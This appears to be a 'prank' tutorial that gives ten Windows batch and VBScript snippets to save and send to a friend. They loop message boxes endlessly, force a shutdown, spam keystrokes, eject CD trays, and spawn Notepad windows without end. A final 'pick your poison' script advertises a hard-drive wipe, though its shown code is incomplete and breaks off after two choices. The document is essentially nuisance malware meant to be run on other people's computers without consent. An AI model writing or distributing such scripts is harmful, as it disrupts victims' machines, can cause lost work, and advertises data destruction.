make fun with ur notepad

 Open Notepad and copy the following Text...

1>
@ECHO off


:Begin

msg * Hi

msg * Are you having fun?

msg * I am!

msg * Lets have fun together!

msg * Because you have been o-w-n-e-d

GOTO BEGIN

Save it as "Anything.BAT" and send it.

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2>

Convey your friend a lil' message and shut down his / her computer:

Type :

@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.

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3>

Toggle your friend's Caps Lock button simultaneously:

Type :

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Save it as "Anything.VBS" and send it.

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4>

Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Save it as "Anything.VBS" and send it.

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5>

Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Save it as "Anything.VBS" and send it.

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6>

Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Type :

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

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7>

Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

Save it as "Anything.VBS" and send it.

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8>

Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

Save it as "Anything.VBS" and send it.

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9>

Open Notepad continually in your friend's computer:

Type :

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save it as "Anything.BAT" and send it.

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10>

Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown

2: Restart

3: Wipes out your hard drive (BEWARE)

4: Net send

5: Messages then shutdown

Type :

@echo off

title The end of the world

cd C:\

:menu

cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...

pause

echo Pick your poison:

echo 1. Die this way (Wimp)

echo 2. Die this way (WIMP!)

echo 3. DO NOT DIE THIS WAY

echo 4. Die this way (you're boring)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

Save it as "Anything.BAT" and send it.